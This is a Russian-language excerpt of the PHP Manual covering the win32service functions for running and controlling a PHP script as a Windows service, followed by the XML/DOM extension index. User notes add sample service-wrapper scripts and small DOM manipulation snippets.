  • win32_start_service_ctrl_dispatcher »
  • PHP Manual
  • win32service
  • Обновляет статус службы

win32_set_service_status

(PECL win32service >=0.1.0)

win32_set_service_status — Обновляет статус службы

Описание

win32_set_service_status(int $status, int $checkpoint = 0): void

Информирует SCM о текущем состоянии работающей службы. Этот вызов действителен только для запущенного сервисного процесса.

Предостережение

Начиная с версии 0.2.0, функция работает только в "cli" SAPI. На других SAPI эта функция отключена.

Список параметров

status

Код статуса службы, один из: WIN32_SERVICE_RUNNING, WIN32_SERVICE_STOPPED, WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING, WIN32_SERVICE_PAUSE_PENDING, WIN32_SERVICE_PAUSED.

checkpoint

Значение контрольной точки, которое служба периодически увеличивает, чтобы сообщить о своём прогрессе во время длительного запуска, остановки, паузы или продолжения работы. Например, служба должна увеличивать это значение на единицу по мере завершения каждого шага своей инициализации при запуске.

checkpoint действительна только тогда, когда status является одним из WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING или WIN32_SERVICE_PAUSE_PENDING.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

До версии 1.0.0, если SAPI не "cli", функция выдавала ошибку уровня E_ERROR.

Начиная с версии 1.0.0, выбрасывает Win32ServiceException, если SAPI не "cli"

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения теперь void, ранее был mixed.
PECL win32service 0.2.0 | Функция работает только с "cli" SAPI.

Смотрите также

  • win32_start_service_ctrl_dispatcher() - Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
  • win32_get_last_control_message() - Возвращает последнее управляющее сообщение, которое было отправлено этой службе
  • win32_set_service_exit_mode() - Определяет или возвращает режим выхода для текущей запущенной службы
  • win32_set_service_exit_code() - Определяет или возвращает код выхода для текущей запущенной службы
  • Константы состояния службы Win32Service

User Contributed Notes

paul_nelson57071 at yahoo dot com 13-May-2010 11:04
So after much searching I finally found all the peices to make a working windows service & server including:
- Installing & Uninstalling the service
- Starting & Stopping the Service
- Actually running a basic Server
- Responding to windows Service to Stop/Start/Restart

I hope you find this useful! I did this using PHP 5.2 and the PECL library for 5.2 (PHP 5.3 at the time does not have a PECL Library compiled for it)

<?php
    //Service Settings
    $Service = 'MyServiceFinal';
    $Display = 'My PHP Service';

    //Server Settings
    $host = '127.0.0.1';        //Bind to IP #
    $port = 23;                            //On port #
    $max = 20;                            //Maximum Clients

    //Exit if no start-up argument is passed
    if (!isset($argv[1])){ShowHelp(); exit;}

    //Create Windows Service
    if ($argv[1] == 'install') {
    $x = win32_create_service(array(
        'service' => $Service,
        'display' => $Service,
        'params' => __file__ . ' run',
        'path' => 'c:\\php\\php.exe',
    ));
    debug_zval_dump($x);
    echo "Service Installed\n\n";
    exit;

  //Remove Windows Service
    } else if ($argv[1] == 'uninstall') {
        $x = win32_delete_service($Service);
        debug_zval_dump($x);
        echo "Service Removed\n\n";
        exit;

  //Start Windows Service
    } elseif($argv[1] == "start") {
      $x = win32_start_service($Service);
      debug_zval_dump($x);
      echo "Service Started\n\n";
      exit;

    //Stop Windows Service
    } elseif($argv[1] == "stop") {
      $x = win32_stop_service($Service);
      debug_zval_dump($x);
      echo "Service Stopped\n\n";
      exit;

    //Unkown Command
    } else if ($argv[1] != 'run') {
        ShowHelp(); exit();
    }

//Tell windows the service has started...
if (!win32_start_service_ctrl_dispatcher($Service)) die("Could not connect to service : $Service");
win32_set_service_status(WIN32_SERVICE_RUNNING);

// No timeouts, flush content immediatly
set_time_limit(0);
ob_implicit_flush();

//Server Loop
while (1) {
    usleep(500);

    //Handle Windows Service Request
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }
    //Acutal Server Code

}

//Clean up and Exit
win32_set_service_status(WIN32_SERVICE_STOPPED);
exit;

//*************** FUNCTIONS ***************
function ShowHelp(){
    echo "Usage:
    install:\t installs servce
    uninstall:\t deletes service
    start:\t\t Start the windows service
    stop:\t\t Stops the windows service
    run:\t\t called by CMS to run the service

For information on code numbers type 'net helpmsg xxxx'
EXAMPEL: 'net helpmsg 1072'

    ";
}
?>
m dot hald at surfto dot ch 12-May-2008 04:16
On my Machine (Win XP SP2) the function "win32_get_last_control_message" never returns 4 so i will have to reply to 0 also.

finally after mixing several examples i now have a version working woithout filling my event log with errors:

<?php

/*
 * PHP SAMPLE TEMPLATE
 */

/*
 * APP MAIN FUNCTION
 * Called each second after the function last time finished
 * Should not take longer than max 20 seconds to execute
 * ELSE you should call NTServiceResponder(); at least each 20 secs
 * WARNING: NTServiceResponder will exit; if there was a STOP request
 */
function Service_Main()
{
    // YOU APPLICATION CODE HERE !!!
    sleep(1); // dummy something
}

/********************************************************************
 *
 * SERVICE CONTROLLING
 *
 ********************************************************************/

$SERVICE_NAME = "phptestservice";
$SERVICE_DISPLAY = "Test Service with PHP";

// so u can get: $SERVICE_PATH_PARTS["dirname"] $SERVICE_PATH_PARTS["basename"]  $SERVICE_PATH_PARTS["extension"]
$SERVICE_PATH_PARTS = pathinfo(__FILE__);

$SERVICE_PARAMS = " run";

    if (!isset($argv[1]))
    {
        die("this application need to be installed as a service.\n run with param install");
    }

    if ($argv[1] == 'install')
    {
        $x = win32_create_service(array(
                                        'service' => $SERVICE_NAME,
                                        'display' => $SERVICE_DISPLAY,
                                        'params' =>  __FILE__ . $SERVICE_PARAMS,
                                        //'path' =>  $SERVICE_PATH_PARTS["dirname"] . '\php.exe'
                                        ));
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] == 'uninstall')
    {
        $x = win32_delete_service('dummyphp');
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] != 'run')
    {
        die("bogus args, needs to run as service");
    }

    // Connect to service dispatcher and notify that startup was successful
    if (!win32_start_service_ctrl_dispatcher($SERVICE_NAME)) die('Could not connect to service :'.$SERVICE_NAME);
    win32_set_service_status(WIN32_SERVICE_RUNNING);

    // Main Server Loop
    while (1)
    {
        NTServiceResponder();

        // Main script goes here
        Service_Main();

        sleep(1); // at least 1 sec delay per loop
    }
    win32_set_service_status(WIN32_SERVICE_STOPPED);

/*
 * Response to NTServiceRequests
 */
function NTServiceResponder()
{

    switch (win32_get_last_control_message())
    {
    case 0: // PATCH for: seems never to go to 4 (WIN32_SERVICE_CONTROL_INTERROGATE)
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE;
        break;
    case WIN32_SERVICE_CONTROL_CONTINUE:
        return TRUE; // "Continue"
    case WIN32_SERVICE_CONTROL_INTERROGATE:
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE; // Respond with status
    case WIN32_SERVICE_CONTROL_STOP:
        win32_set_service_status(WIN32_SERVICE_STOPPED);
        exit; // Terminate script
    default:
        win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    return FALSE;
}

?>


Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем

  • « win32_set_service_status
  • win32_start_service »
  • PHP Manual
  • win32service
  • Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем

win32_start_service_ctrl_dispatcher

(PECL win32service >=0.1.0)

win32_start_service_ctrl_dispatcher — Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем

Описание

win32_start_service_ctrl_dispatcher(string $name, bool $gracefulMode = true): void

При запуске с помощью диспетчера служб, процессу службы необходимо сверяться с ним для мониторинга службы и связи с ней. Эта функция выполняет сверку посредством создания потока для обработки низкоуровневой связи с диспетчером служб.

После запуска процесс службы должен осуществить два действия. Первое - сообщить диспетчеру служб, что служба запущена. Это осуществляется путём вызова win32_set_service_status() с константой WIN32_SERVICE_RUNNING. Если вам необходимо выполнить некий длительный процесс перед запуском службы, то вы можете использовать константу WIN32_SERVICE_START_PENDING. Второе - продолжить сверку с диспетчером служб, чтобы определить необходимость отключения. Это осуществляется посредством периодического вызова win32_get_last_control_message() и обработки кода возврата соответствующим образом.

Предостережение

Начиная с версии 0.2.0, эта функция работает только в "cli" SAPI. В прочих SAPI функция отключена.

Список параметров

name

Короткое имя службы, как при добавлении с помощью win32_create_service().

gracefulMode

true для "элегантного" выхода. false для выхода с ошибкой. Смотрите win32_set_service_exit_mode() для получения подробной информации.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

До версии 1.0.0, если SAPI не является "cli", данная функция вызывает ошибку уровня E_ERROR.

Начиная с версии 1.0.0, выбрасывает исключение Win32ServiceException, если SAPI не является "cli"

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при некорректных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения void, ранее был mixed.
PECL win32service 0.4.0 | Добавлен параметр gracefulMode.
PECL win32service 0.2.0 | Эта функция работает только с "cli" SAPI.

Примеры

Пример #1 Пример win32_start_service_ctrl_dispatcher()

Проверьте, запущен ли сервис в диспетчере служб.

<?php
if (!win32_start_service_ctrl_dispatcher('dummyphp')) {

die("Я, вероятно, не запущен в диспетчере служб");
}

win32_set_service_status(WIN32_SERVICE_START_PENDING);

// Некий длительный процесс для обработки и запуска службы.

win32_set_service_status(WIN32_SERVICE_RUNNING);

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
# здесь производятся какие-то действия, не занимающие больше чем 30 секунд
# перед соответствующим переходом в цикл.
}
?>

Смотрите также

  • win32_set_service_status() - Обновляет статус службы
  • win32_get_last_control_message() - Возвращает последнее управляющее сообщение, которое было отправлено этой службе
  • win32_set_service_exit_mode() - Определяет или возвращает режим выхода для текущей запущенной службы
  • win32_set_service_exit_code() - Определяет или возвращает код выхода для текущей запущенной службы
  • Коды Ошибок Win32

User Contributed Notes

andrea 09-Oct-2009 03:07
Insert value of params between " if the string have a space:

<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => '"c:\\my folder\myphpservice.php"',
    'path' => 'c:\\PHP\\php.exe'));
*/
?>
dylan at nopower dot org 14-Jul-2007 07:59
<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => 'c:\\myphpservice.php',
    'path' => 'c:\\PHP\\php.exe'));
*/

$myservicename = 'myphpservice';

// Connect to service dispatcher and notify that startup was successful
if (!win32_start_service_ctrl_dispatcher($myservicename)) die('Could not connect to service :'.$myservicename);
win32_set_service_status(WIN32_SERVICE_RUNNING);

// Main Server Loop
while (1) {
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    // Main script goes here

    sleep(10); // Run every 10 seconds
}
win32_set_service_status(WIN32_SERVICE_STOPPED);
?>
Guibod 10-Jul-2007 05:41
Don't try to call "win32_start_service_ctrl_dispatcher" too late in your code. You'd trigger a #2186 error : "The service is not responding to the control function." (from commande line) or a #1053 error : "The service did not respond to the start or control request in a timely fashion." (from services GUI).

Try not to load a bunch of PEAR classes before to register php script as Service like I did.

Another good hint, to get a verbose version of the return code, you can call "NET HELPMSG ###" from command line where ### is your error code.


Запускает службу

  • « win32_start_service_ctrl_dispatcher
  • win32_stop_service »
  • PHP Manual
  • win32service
  • Запускает службу

win32_start_service

(PECL win32service >=0.1.0)

win32_start_service — Запускает службу

Описание

win32_start_service(string $servicename, string $machine = ?): void

Производит попытку запуска обозначенной службы. Обычно требует административных привилегий, либо аккаунта с соответствующим образом настроенным ACL для сервиса.

Список параметров

servicename

Короткое название службы.

machine

Необязательное имя машины. Если не указано, используется на локальной машине.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывает ValueError, если значение параметра servicename не задано.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при некорректных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения void, ранее был mixed.
PECL win32service 0.3.0 | Этой функции больше не требуется привилегии администратора, если для используемого пользователя корректно настроен ACL.

Смотрите также

  • win32_stop_service() - Останавливает службу
  • win32_pause_service() - Приостанавливает службу
  • win32_continue_service() - Возобновляет работу приостановленной службы
  • win32_send_custom_control() - Отправляет настраиваемый элемент управления в службу
  • Коды Ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Останавливает службу

  • « win32_start_service
  • Обработка XML »
  • PHP Manual
  • win32service
  • Останавливает службу

win32_stop_service

(PECL win32service >=0.1.0)

win32_stop_service — Останавливает службу

Описание

win32_stop_service(string $servicename, string $machine = ?): void

Останавливает обозначенную службу. Требует административных привилегий, либо аккаунта с соответствующим образом настроенным ACL для сервиса.

Список параметров

servicename

Короткое название службы.

machine

Необязательное имя машины. Если не указано, используется на локальной машине.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывает ValueError, если значение параметра servicename не задано.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при некорректных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения void, ранее был mixed.
PECL win32service 0.3.0 | Этой функции больше не требуется привилегии администратора, если для используемого пользователя корректно настроен ACL.

Смотрите также

  • win32_start_service() - Запускает службу
  • win32_pause_service() - Приостанавливает службу
  • win32_continue_service() - Возобновляет работу приостановленной службы
  • win32_send_custom_control() - Отправляет настраиваемый элемент управления в службу
  • Коды Ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Обработка XML

  • DOM — Document Object Model
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • DOMAttr — Класс DOMAttr
    • DOMCdataSection — Класс DOMCdataSection
    • DOMCharacterData — Класс DOMCharacterData
    • DOMChildNode — Интерфейс DOMChildNode
    • DOMComment — Класс DOMComment
    • DOMDocument — Класс DOMDocument
    • DOMDocumentFragment — Класс DOMDocumentFragment
    • DOMDocumentType — Класс DOMDocumentType
    • DOMElement — Класс DOMElement
    • DOMEntity — Класс DOMEntity
    • DOMEntityReference — Класс DOMEntityReference
    • DOMException — Класс DOMException
    • DOMImplementation — Класс DOMImplementation
    • DOMNamedNodeMap — Класс DOMNamedNodeMap
    • DOMNameSpaceNode — Класс DOMNameSpaceNode
    • DOMNode — Класс DOMNode
    • DOMNodeList — Класс DOMNodeList
    • DOMNotation — Класс DOMNotation
    • DOMParentNode — Интерфейс DOMParentNode
    • DOMProcessingInstruction — Класс DOMProcessingInstruction
    • DOMText — Класс DOMText
    • DOMXPath — Класс DOMXPath
    • Функции DOM
  • libxml
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • LibXMLError — Класс LibXMLError
    • Функции libxml
  • SimpleXML
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • SimpleXMLElement — Класс SimpleXMLElement
    • SimpleXMLIterator — Класс SimpleXMLIterator
    • Функции SimpleXML
  • WDDX
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции WDDX
  • XMLDiff — Сравнение и объединение XML
    • Введение
    • Установка и настройка
    • XMLDiff\Base — Класс XMLDiff\Base
    • XMLDiff\DOM — Класс XMLDiff\DOM
    • XMLDiff\Memory — Класс XMLDiff\Memory
    • XMLDiff\File — Класс XMLDiff\File
  • Разбор XML
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Обработчики событий
    • Приведение к единому регистру
    • Коды ошибок
    • Кодировка символов
    • Примеры
    • Функции парсера XML
    • XMLParser — Класс XMLParser
  • XMLReader
    • Введение
    • Установка и настройка
    • XMLReader — Класс XMLReader
  • XMLWriter
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • XMLWriter — Класс XMLWriter
  • XSL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • XSLTProcessor — Класс XSLTProcessor

User Contributed Notes

There are no user contributed notes for this page.


Document Object Model

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • DOMAttr — Класс DOMAttr
    • DOMAttr::__construct — Создаёт экземпляр класса DOMAttr
    • DOMAttr::isId — Проверяет, является ли атрибут определённым идентификатором
  • DOMCdataSection — Класс DOMCdataSection
    • DOMCdataSection::__construct — Создаёт новый экземпляр класса DOMCdataSection
  • DOMCharacterData — Класс DOMCharacterData
    • DOMCharacterData::after — Добавляет узлы после символьных данных
    • DOMCharacterData::appendData — Добавить строку в конец символьных данных узла
    • DOMCharacterData::before — Добавляет узлы перед узлом
    • DOMCharacterData::deleteData — Удалить диапазон символов из узла
    • DOMCharacterData::insertData — Вставить строку в указанную 16-битную позицию
    • DOMCharacterData::remove — Удаляет символьные данные
    • DOMCharacterData::replaceData — Заменить подстроку в узле типа DOMCharacterData
    • DOMCharacterData::replaceWith — Заменяет символьные данные новыми узлами
    • DOMCharacterData::substringData — Извлекает определённый диапазон данных из узла
  • DOMChildNode — Интерфейс DOMChildNode
    • DOMChildNode::after — Добавляет узлы после узла
    • DOMChildNode::before — Добавляет узлы перед узлом
    • DOMChildNode::remove — Удаляет узел
    • DOMChildNode::replaceWith — Заменяет узел на новые узлы
  • DOMComment — Класс DOMComment
    • DOMComment::__construct — Создаёт новый экземпляр класса DOMComment
  • DOMDocument — Класс DOMDocument
    • DOMDocument::adoptNode — Переносит узел из другого документа
    • DOMDocument::append — Добавляет узлы после последнего дочернего узла
    • DOMDocument::__construct — Создаёт новый объект DOMDocument
    • DOMDocument::createAttribute — Создаёт новый атрибут
    • DOMDocument::createAttributeNS — Создаёт новый атрибут узла с соответствующим пространством имён
    • DOMDocument::createCDATASection — Создаёт новый узел cdata
    • DOMDocument::createComment — Создать новый узел комментария
    • DOMDocument::createDocumentFragment — Создаёт новый фрагмент документа
    • DOMDocument::createElement — Создаёт новый узел элемента
    • DOMDocument::createElementNS — Создать новый узел элемента с соответствующим пространством имён
    • DOMDocument::createEntityReference — Создать новый узел ссылки на сущность
    • DOMDocument::createProcessingInstruction — Создать новый PI-узел
    • DOMDocument::createTextNode — Создать новый текстовый узел
    • DOMDocument::getElementById — Ищет элемент с определённым идентификатором
    • DOMDocument::getElementsByTagName — Ищет все элементы с заданным локальным именем
    • DOMDocument::getElementsByTagNameNS — Ищет все элементы с заданным именем в указанном пространстве имён
    • DOMDocument::importNode — Импортировать узел в текущий документ
    • DOMDocument::load — Загрузка XML из файла
    • DOMDocument::loadHTML — Загрузка HTML из строки
    • DOMDocument::loadHTMLFile — Загрузка HTML из файла
    • DOMDocument::loadXML — Загрузка XML из строки
    • DOMDocument::normalizeDocument — Нормализует документ
    • DOMDocument::prepend — Добавляет узлы перед первым дочерним узлом
    • DOMDocument::registerNodeClass — Регистрация расширенного класса, используемого для создания типа базового узла
    • DOMDocument::relaxNGValidate — Производит проверку документа на правильность построения посредством relaxNG
    • DOMDocument::relaxNGValidateSource — Проверяет документ посредством relaxNG
    • DOMDocument::replaceChildren — Заменяет дочерние узлы в документе
    • DOMDocument::save — Сохраняет XML-дерево из внутреннего представления в файл
    • DOMDocument::saveHTML — Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
    • DOMDocument::saveHTMLFile — Сохраняет документ из внутреннего представления в файл, используя форматирование HTML
    • DOMDocument::saveXML — Сохраняет XML-дерево из внутреннего представления в виде строки
    • DOMDocument::schemaValidate — Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
    • DOMDocument::schemaValidateSource — Проверяет действительность документа, основываясь на схеме
    • DOMDocument::validate — Проверяет документ на соответствие его DTD
    • DOMDocument::xinclude — Проводит вставку XInclude в объекте DOMDocument
  • DOMDocumentFragment — Класс DOMDocumentFragment
    • DOMDocumentFragment::append — Добавляет узлы после последнего дочернего узла
    • DOMDocumentFragment::appendXML — Добавление необработанных данных XML
    • DOMDocumentFragment::__construct — Конструктор объекта DOMDocumentFragment
    • DOMDocumentFragment::prepend — Добавляет узлы перед первым дочерним узлом
    • DOMDocumentFragment::replaceChildren — Заменяет дочерние элементы фрагмента
  • DOMDocumentType — Класс DOMDocumentType
  • DOMElement — Класс DOMElement
    • DOMElement::after — Добавляет узлы после элемента
    • DOMElement::append — Добавляет узлы после последнего дочернего узла
    • DOMElement::before — Добавляет узлы перед элементом
    • DOMElement::__construct — Создаёт новый экземпляр класса DOMElement
    • DOMElement::getAttribute — Возвращает значение атрибута
    • DOMElement::getAttributeNames — Получает имена атрибутов
    • DOMElement::getAttributeNode — Возвращает узел атрибута
    • DOMElement::getAttributeNodeNS — Возвращает узел атрибута
    • DOMElement::getAttributeNS — Возвращает значение атрибута
    • DOMElement::getElementsByTagName — Возвращает элементы по имени тега
    • DOMElement::getElementsByTagNameNS — Получает элементы по локальному имени в заданном пространстве имён
    • DOMElement::hasAttribute — Проверяет, существует ли атрибут
    • DOMElement::hasAttributeNS — Проверяет, существует ли заданный атрибут
    • DOMElement::insertAdjacentElement — Добавляет соседний элемент
    • DOMElement::insertAdjacentText — Добавляет соседний текст
    • DOMElement::prepend — Добавляет узлы перед первым дочерним узлом
    • DOMElement::remove — Удаляет элемент
    • DOMElement::removeAttribute — Удаляет атрибут
    • DOMElement::removeAttributeNode — Удаляет атрибут
    • DOMElement::removeAttributeNS — Удаляет атрибут
    • DOMElement::replaceChildren — Заменяет дочерние элементы в элементе
    • DOMElement::replaceWith — Заменяет элемент новыми узлами
    • DOMElement::setAttribute — Добавляет новый или изменяет существующий атрибут
    • DOMElement::setAttributeNode — Добавляет новый узел атрибута в элемент
    • DOMElement::setAttributeNodeNS — Добавляет новый атрибут в элемент
    • DOMElement::setAttributeNS — Добавляет новый атрибут
    • DOMElement::setIdAttribute — Объявляет атрибуту c указанным именем тип ID
    • DOMElement::setIdAttributeNode — Объявляет указанному узлу атрибута тип ID
    • DOMElement::setIdAttributeNS — Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID
    • DOMElement::toggleAttribute — Переключает атрибут
  • DOMEntity — Класс DOMEntity
  • DOMEntityReference — Класс DOMEntityReference
    • DOMEntityReference::__construct — Создаёт новый объект класса DOMEntityReference
  • DOMException — Класс DOMException
  • DOMImplementation — Класс DOMImplementation
    • DOMImplementation::__construct — Создаёт новый объект класса DOMImplementation
    • DOMImplementation::createDocument — Создаёт объект класса DOMDocument заданного типа с его элементом document
    • DOMImplementation::createDocumentType — Создаёт пустой объект класса DOMDocumentType
    • DOMImplementation::hasFeature — Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM
  • DOMNamedNodeMap — Класс DOMNamedNodeMap
    • DOMNamedNodeMap::count — Количество узлов в отображении
    • DOMNamedNodeMap::getIterator — Получает внешний итератор
    • DOMNamedNodeMap::getNamedItem — Получает узел, указанный по имени
    • DOMNamedNodeMap::getNamedItemNS — Получает узел с заданным локальным именем и URI пространства имён
    • DOMNamedNodeMap::item — Получает узел с заданным индексом
  • DOMNameSpaceNode — Класс DOMNameSpaceNode
  • DOMNode — Класс DOMNode
    • DOMNode::appendChild — Добавляет новый дочерний узел в конец списка потомков
    • DOMNode::C14N — Канонизировать узлы в строку
    • DOMNode::C14NFile — Канонизировать узлы в файл
    • DOMNode::cloneNode — Клонирует узел
    • DOMNode::contains — Проверяет, содержит ли узел другой узел
    • DOMNode::getLineNo — Получает номер строки узла
    • DOMNode::getNodePath — Получение XPath узла
    • DOMNode::getRootNode — Получает корневой узел
    • DOMNode::hasAttributes — Проверяет, имеет ли данный узел атрибуты
    • DOMNode::hasChildNodes — Проверяет, имеет ли данный узел потомков
    • DOMNode::insertBefore — Добавляет новый дочерний узел перед указанным узлом
    • DOMNode::isDefaultNamespace — Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет
    • DOMNode::isEqualNode — Проверяет, что оба узла идентичны
    • DOMNode::isSameNode — Указывает, являются ли два узла одним и тем же узлом
    • DOMNode::isSupported — Проверяет, поддерживается ли возможность в определённой версии
    • DOMNode::lookupNamespaceURI — Получает URI пространства имён узла по префиксу
    • DOMNode::lookupPrefix — Получает префикс пространства имён узла из URI-идентификатора пространства имён
    • DOMNode::normalize — Нормализует узел
    • DOMNode::removeChild — Удаляет дочерний узел из списка потомков
    • DOMNode::replaceChild — Заменяет дочерний узел
  • DOMNodeList — Класс DOMNodeList
    • DOMNodeList::count — Получить количество узлов в списке
    • DOMNodeList::getIterator — Получает внешний итератор
    • DOMNodeList::item — Получает узел с заданным индексом
  • DOMNotation — Класс DOMNotation
  • DOMParentNode — Интерфейс DOMParentNode
    • DOMParentNode::append — Добавляет узлы после последнего дочернего узла
    • DOMParentNode::prepend — Добавляет узлы перед первым дочерним узлом
    • DOMParentNode::replaceChildren — Заменяет потомков в узле
  • DOMProcessingInstruction — Класс DOMProcessingInstruction
    • DOMProcessingInstruction::__construct — Создаёт новый объект класса DOMProcessingInstruction
  • DOMText — Класс DOMText
    • DOMText::__construct — Создаёт объект класса DOMText
    • DOMText::isElementContentWhitespace — Возвращает, содержит ли текстовый узел пробел в содержимом элемента
    • DOMText::isWhitespaceInElementContent — Определяет, содержит ли текстовый узел пробелы в содержимом
    • DOMText::splitText — Разделяет узел на два, начиная с заданной позиции
  • DOMXPath — Класс DOMXPath
    • DOMXPath::__construct — Создаёт новый объект класса DOMXPath
    • DOMXPath::evaluate — Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно
    • DOMXPath::query — Выполняет заданное выражение XPath
    • DOMXPath::registerNamespace — Регистрирует пространство имён с объектом DOMXPath
    • DOMXPath::registerPhpFunctions — Регистрация PHP-функций как функций XPath
  • Функции DOM
    • dom_import_simplexml — Получает объект класса DOMElement из объекта класса SimpleXMLElement

User Contributed Notes

chealer at gmail dot com 05-Jul-2018 05:12
This extension allows editing an HTML snippet, for example removing an element:
??$dom = new DOMDocument();
??$dom->loadHTML('keep<b id="simple">REMOVE</b>');
$??remove = $dom->getElementById('simple');
??$dom->removeChild($??remove);
echo ??$dom->saveHTML();
...would output "keep".

But it does not preserve formatting. If your code defines attributes using double quotes, saveHTML() may for instance return single quotes instead.
emmanuellutula at hotmail dot com 24-Apr-2018 04:35
If you want to  use DOMDocument in your PHPUnit Tests drive on Symfony Controller (testing form)! Use like :

namespace Tests\YourBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use YourBundle\Controller\TextController;

class DefaultControllerTest extends WebTestCase
{
    public function testIndex()
    {
        $client = static::createClient(array(), array());

        $crawler = $client->request('GET', '/text/add');
        $this->assertTrue($crawler->filter("form")->count() > 0, "Text form exist !");

        $form = $crawler->filter("form")->form();

        $domDocument = new \DOMDocument;

        $domInput = $domDocument->createElement('input');
        $dom = $domDocument->appendChild($domInput);
        $dom->setAttribute('slug', 'bloc');

        $formInput = new \Symfony\Component\DomCrawler\Field\InputFormField($domInput);
        $form->set($formInput);

        $crawler = $client->submit($form);

        if ($client->getResponse()->isRedirect())
        {
            $crawler = $client->followRedirect(false);
        }

       // $this->assertTrue($client->getResponse()->isSuccessful());
        //$this->assertEquals(200, $client->getResponse()->getStatusCode(),
        //             "Unexpected HTTP status code for GET /backoffice/login");

    }
}
ohcc at 163 dot com 29-Oct-2015 05:31
<?php
    // this note is about how to get a DOMNode's outerHTML and innerHTML.
    $dom = new DOMDocument('1.0','UTF-8');
    $dom->loadHTML('<html><body><div><p>p1</p><p>p2</p></div></body></html>');
    $node = $dom->getElementsByTagName('div')->item(0);
    $outerHTML = $node->ownerDocument->saveHTML($node);
    $innerHTML = '';
    foreach ($node->childNodes as $childNode){
        $innerHTML .= $childNode->ownerDocument->saveHTML($childNode);
    }
    echo '<h2>outerHTML: </h2>';
    echo htmlspecialchars($outerHTML);
    echo '<h2>innerHTML: </h2>';
    echo htmlspecialchars($innerHTML);
?>
